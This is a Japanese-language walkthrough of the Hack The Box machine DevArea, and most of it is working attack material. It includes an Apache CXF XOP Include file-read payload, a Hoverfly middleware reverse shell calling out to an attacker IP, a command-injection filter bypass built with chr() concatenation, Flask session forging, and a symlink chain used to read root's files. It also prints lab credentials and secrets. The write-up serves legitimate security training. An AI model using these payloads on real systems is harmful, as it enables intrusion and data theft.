コンテンツにスキップ

HTB DevArea writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

DevArea は、複数の Web 系サービスを組み合わせた Linux / Medium Box だった。匿名 FTP から Java の SOAP サービス実装 JAR を取得し、Apache CXF の XOP/MTOM 処理を悪用して任意ファイル読み取りを行う。そこから Hoverfly の起動オプションに含まれる管理者認証情報を取得し、Hoverfly middleware のコマンド実行で dev_ryan のシェルを得る。権限昇格では SysWatch の管理画面へ SSH tunnel 経由で入り、service-status の systemctl 呼び出しに対するコマンドインジェクションで /opt/syswatch/logs に symlink chain を作る。最後に、dev_ryan が sudo で実行できる syswatch.sh logs の symlink 検査不備を使い、root 権限で /root/root.txt を読む。

ItemValue
BoxDevArea
PlatformHack The Box
OSLinux
DifficultyMedium
anonymous FTP
-> /pub/employee-service.jar
-> Java SOAP service / Apache CXF / /employeeservice
-> XOP Include file read
-> /etc/systemd/system/hoverfly.service
-> Hoverfly admin:O7IJ27MyyXiU
-> Hoverfly middleware command execution
-> shell as dev_ryan
-> /etc/syswatch.env + syswatch-v1.zip
-> SSH tunnel to localhost:7777
-> SysWatch login as admin
-> service-status command injection
-> create /opt/syswatch/logs/root.txt -> /root/root.txt
-> create /opt/syswatch/logs/pwn.log -> root.txt
-> sudo /opt/syswatch/syswatch.sh logs pwn.log as root
-> read root flag

/etc/hosts:

10.129.244.208 devarea.htb

実行した nmap:

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 10.129.244.208 > devarea.nmap

重要な結果:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
8080/tcp open http Jetty 9.4.27.v20200227
8500/tcp open http Golang net/http server
|_ This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open http Golang net/http server
|_http-title: Hoverfly Dashboard

見るべき点:

  • FTP の anonymous login が有効で、pub 配下の取得が初手になる。
  • 8080 は Jetty で、Java/SOAP 系アプリの可能性が高い。
  • 8500 と 8888 は Hoverfly の構成に合う。8888 が管理 UI/API、8500 が proxy 側。
  • 80 は静的な Apache サイトで、ディレクトリ探索から攻撃面は増えなかった。

vhost fuzzing では有効なサブドメインは出なかった。

ターミナルウィンドウ
ffuf -u http://devarea.htb -H "Host: FUZZ.devarea.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
:: Progress: [19966/19966] :: Job [1/1] :: 214 req/sec :: Duration: [0:01:36] :: Errors: 0 ::

80/tcp の feroxbuster も静的サイトの asset だけだった。

ターミナルウィンドウ
feroxbuster -u http://devarea.htb \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -d 1
200 GET 22211c http://devarea.htb/index
200 GET 22211c http://devarea.htb/index.html
301 GET http://devarea.htb/assets => http://devarea.htb/assets/

FTP は anonymous で入れる。

ターミナルウィンドウ
ftp anonymous@devarea.htb
230 Login successful.
ftp> cd pub
ftp> ls -la
-rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar
ftp> get employee-service.jar
6445030 bytes received

この JAR が 8080/tcp の Java サービス実装だった。

jadx-gui で employee-service.jar を開くと、htb.devarea パッケージに SOAP サービスがある。

@WebService(name = "EmployeeService", targetNamespace = "http://devarea.htb/")
public interface EmployeeService {
String submitReport(Report report);
}

ServerStarter は /employeeservice を 8080/tcp で公開している。

JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();

WSDL を確認する。

ターミナルウィンドウ
curl -i http://devarea.htb:8080/employeeservice?wsdl
<wsdl:operation name="submitReport">
<wsdl:input message="tns:submitReport" name="submitReport"/>
<wsdl:output message="tns:submitReportResponse" name="submitReportResponse"/>
</wsdl:operation>
<soap:address location="http://devarea.htb:8080/employeeservice"/>

submitReport は Report.content をそのまま返すため、外部参照を content に入れられると、読み取られた内容が応答に出る。

ローカルメモでは CVE-2024-28752 と書いていたが、この Box の実際のペイロードは XOP:Include / MTOM request の href 処理を使う形で、CVE-2022-46364 と整理するのが適切。CVE-2024-28752 は Aegis DataBinding 固有の SSRF で、デフォルト databinding は影響外とされている。

body.txt:

--asdf
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ns2:submitReport xmlns:ns2="http://devarea.htb/">
<arg0>
<confidential>true</confidential>
<content><inc:Include href="file:///etc/systemd/system/hoverfly.service" xmlns:inc="http://www.w3.org/2004/08/xop/include"/></content>
<department>IT</department>
<employeeName>John Smith</employeeName>
</arg0>
</ns2:submitReport>
</soap:Body>
</soap:Envelope>
--asdf--

送信する。

ターミナルウィンドウ
curl -X POST http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; type="application/xop+xml"; boundary="asdf"' \
--data-binary @body.txt

応答の return に base64 が返る。

Content: W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UK...

デコードすると Hoverfly の systemd unit が得られる。

ターミナルウィンドウ
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UK...' | base64 -d
[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

結論:

  • Hoverfly は dev_ryan として動いている。
  • Hoverfly 管理 API の認証情報は admin:O7IJ27MyyXiU。

同じ方法で /etc/passwd を読むと、ログインシェルを持つ通常ユーザーは dev_ryan と分かる。

dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin

まず token を取得する。

ターミナルウィンドウ
curl -X POST 'http://devarea.htb:8888/api/token-auth' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
--data '{"username":"admin", "password": "O7IJ27MyyXiU"}'
{"token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9..."}

middleware に reverse shell を設定する。Bearer token でも Basic 認証でも通る。

ターミナルウィンドウ
curl -X PUT 'http://devarea.htb:8888/api/v2/hoverfly/middleware' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <token>' \
-d '{"binary": "bash", "script": "bash -i >& /dev/tcp/10.10.16.45/4444 0>&1"}'

待ち受け側:

ターミナルウィンドウ
nc -lvnp 4444

取得後に TTY を整える。

ターミナルウィンドウ
python3 -c 'import pty; pty.spawn("/bin/bash")'
dev_ryan@devarea:/opt/HoverFly$
ターミナルウィンドウ
ls -la ~
cat ~/user.txt
-rw-r----- 1 root dev_ryan 33 Jun 30 15:12 user.txt

sudo 権限を確認する。

ターミナルウィンドウ
sudo -l
User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh
web-stop, !/opt/syswatch/syswatch.sh web-restart

web-stop / web-restart 以外の syswatch.sh サブコマンドを root として実行できる。/opt/syswatch は ACL で dev_ryan からは読めない。

ターミナルウィンドウ
ls -la /opt
ls -la /opt/syswatch
drwxr-xr-x+ 8 root root 4096 Mar 22 18:55 syswatch
ls: cannot open directory '/opt/syswatch': Permission denied

ただし dev_ryan の home には syswatch-v1.zip があり、SysWatch の Web UI や service-status の実装確認に使える。

-rw-r--r-- 1 root root 20260 Dec 14 2025 syswatch-v1.zip

ネットワークでは localhost の 7777/tcp が見える。

ターミナルウィンドウ
ss -ant
LISTEN 0 128 127.0.0.1:7777 0.0.0.0:*
LISTEN 0 4096 *:8888 *:*
LISTEN 0 4096 *:8500 *:*

SysWatch の timer が root で monitor.sh を実行することも確認できる。

ターミナルウィンドウ
cat /etc/systemd/system/syswatch-monitor.service
[Unit]
Description=SysWatch Monitor Runner
[Service]
Type=oneshot
User=root
Group=root
EnvironmentFile=/etc/syswatch.env
ExecStart=/bin/bash /opt/syswatch/monitor.sh

/etc/syswatch.env は読める。

ターミナルウィンドウ
cat /etc/syswatch.env
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0

このファイルは 2 つの意味で重要だった。SYSWATCH_ADMIN_PASSWORD で Web UI に入れる可能性があり、SYSWATCH_SECRET_KEY はログインが通らない場合の Flask session 署名に使える。

SysWatch の Web UI は localhost の 7777/tcp だけで待ち受けているため、dev_ryan の SSH 接続で port forward する。

ターミナルウィンドウ
ssh -i /tmp/devarea_key -L 7777:127.0.0.1:7777 -N -f dev_ryan@devarea.htb

/etc/syswatch.env から得た管理者パスワードでログインし、cookie jar に session を保存する。

ターミナルウィンドウ
curl -i -c cookies.txt \
-X POST http://127.0.0.1:7777/login \
-d 'username=admin' \
-d 'password=SyswatchAdmin2026'
HTTP/1.1 302 FOUND
Set-Cookie: session=...
Location: /

以降の curl では cookie を直接指定する。cookies.txt から変数化するなら次の形でよい。

ターミナルウィンドウ
SESSION=$(awk '$6 == "session" {print $7}' cookies.txt)

service-status は service パラメータを受け取り、shell=True で systemctl status に連結していた。

SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
def service_status():
service = request.form.get("service", "").strip()
if not service or not SAFE_SERVICE.match(service):
error = "Invalid service name"
else:
res = subprocess.run(
[f"systemctl status --no-pager {service}"],
shell=True, capture_output=True, text=True, timeout=10
)

denylist は /, ;, &, ., <, >, 大文字などを禁止するが、|, 空白、クォート、+, (, ) は許す。したがって systemctl status --no-pager | whoami のような形にできる。

ターミナルウィンドウ
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \
-X POST --data-urlencode 'service=| whoami'
syswatch

このコマンド実行は Web UI の実行ユーザーである syswatch として動く。

ここから root flag を読む方針は、syswatch 権限のコマンドインジェクションで /opt/syswatch/logs 配下に 2 段 symlink を作り、dev_ryan の sudo 権限で syswatch.sh logs を実行すること。syswatch.sh logs <file> は root として動く。

view_logs の symlink 処理は、1 段目のリンク先だけを ls -l | awk '{print $NF}' で取り出して検査する。

ターミナルウィンドウ
if [ -L "$path" ]; then
target=$(ls -l "$path" | awk '{print $NF}')
if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
echo "[Blocked unsafe symlink target]: $file -> $target"
return 1
fi
if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
local resolved="$LOG_DIR/$target"
if [ -f "$resolved" ]; then
cat "$resolved"
return
fi
fi
fi

狙う配置は次の通り。

/opt/syswatch/logs/pwn.log -> root.txt
/opt/syswatch/logs/root.txt -> /root/root.txt

pwn.log の直接のリンク先は root.txt なので、/ を含まず検査を通る。その後 cat "$LOG_DIR/root.txt" が実行され、cat が 2 段目の symlink をたどって /root/root.txt を読む。

ただし service-status の regex は / と . を禁止するため、Python コードをそのまま渡せない。ローカル側で chr() 連結の式を作り、送信する文字列から禁止文字を消す。

1 本目の symlink を作る payload:

ターミナルウィンドウ
payload=$(python3 - <<'PY'
cmd = 'import os; os.symlink("/root/root.txt", "/opt/syswatch/logs/root.txt")'
print('+'.join(f'chr({ord(c)})' for c in cmd))
PY
)
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \
-X POST --data-urlencode "service=| python3 -c 'exec($payload)'"

2 本目の symlink を作る payload:

ターミナルウィンドウ
payload=$(python3 - <<'PY'
cmd = 'import os; os.symlink("root.txt", "/opt/syswatch/logs/pwn.log")'
print('+'.join(f'chr({ord(c)})' for c in cmd))
PY
)
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \
-X POST --data-urlencode "service=| python3 -c 'exec($payload)'"

最後は dev_ryan のシェルから sudo で logs を読む。

ターミナルウィンドウ
sudo /opt/syswatch/syswatch.sh logs pwn.log
[REDACTED]

これで root 権限の file read と root flag 取得が成立する。root shell は不要。

管理者パスワードでログインできない場合は、/etc/syswatch.env の SYSWATCH_SECRET_KEY で Flask session cookie を署名する別解がある。これは同じ Web UI に入るための入口だけを置き換える手順。

この別解でも localhost:7777 に到達する必要があるため、SSH tunnel は本線と同じく dev_ryan で張る。秘密鍵は攻撃端末側の /tmp/devarea_key に置き、ターゲット側には対応する公開鍵だけを /home/dev_ryan/.ssh/authorized_keys に追記する。秘密鍵をターゲットへ置く必要はない。

攻撃端末側:

ターミナルウィンドウ
ssh-keygen -t ed25519 -f /tmp/devarea_key -N ''
chmod 600 /tmp/devarea_key

dev_ryan のシェル側:

ターミナルウィンドウ
mkdir -p ~/.ssh
echo '<contents of /tmp/devarea_key.pub>' >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

攻撃端末側で tunnel を張る。

ターミナルウィンドウ
ssh -i /tmp/devarea_key -L 7777:127.0.0.1:7777 -N -f dev_ryan@devarea.htb
ターミナルウィンドウ
flask-unsign --sign \
--cookie '{"user_id": 1, "username": "admin"}' \
--secret f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0...

この値を session cookie として使えば、以降は本線と同じ service-status への POST に進める。

  • 80/tcp のサイトは見た目は作り込まれているが、リンクやディレクトリ探索から有効な攻撃面は出なかった。
  • vhost fuzzing も成果なし。
  • service-status の入力フィルタは / や . を禁止しているため、通常の Python one-liner はそのままでは通らない。chr() 連結で禁止文字を送信値から消すのが安定した。
  • 管理者パスワードでログインできない場合でも、SYSWATCH_SECRET_KEY で Flask session cookie を署名する別解がある。
  • monitor.sh は root で plugin を定期実行するため魅力的だが、/opt/syswatch/plugins は root 所有で syswatch から書けない。
  • linpeas が kernel CVE 候補を出していたが、この Box の想定解では不要。

削除・復旧対象:

  • Hoverfly middleware に設定した reverse shell。
  • SSH port forward プロセス。
  • cookies.txt と SESSION などの一時 cookie。
  • /opt/syswatch/logs/pwn.log と /opt/syswatch/logs/root.txt の symlink。
Host: devarea.htb
IP: 10.129.244.208
User: dev_ryan
Hoverfly: admin / O7IJ27MyyXiU
SysWatch Flask secret: f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SysWatch env admin password: SyswatchAdmin2026
User flag path: /home/dev_ryan/user.txt
Root flag path: /root/root.txt

必要知識:

  • nmap / FTP / Web 列挙
  • Java JAR の逆コンパイルと SOAP/WSDL の読み方
  • Apache CXF XOP/MTOM SSRF / file read
  • Hoverfly 管理 API と middleware 設定
  • localhost-only Web UI への SSH port forward
  • shell metacharacter filter bypass
  • symlink 検査不備による root file read

この Box の核心は、単体の脆弱性よりも「取得したファイルをどう次の認証情報に変えるか」だった。JAR から WSDL endpoint を見つけ、file read で systemd unit を読み、起動引数から認証情報を拾う流れは再現性が高い。後半は localhost-only の管理 UI、shell=True と弱い denylist、symlink の 1 段検査という典型的な実装ミスが連鎖して root file read に到達する。読める設定ファイル、localhost サービス、sudo で動く補助 script、symlink 処理の 4 点を必ず確認するのが重要。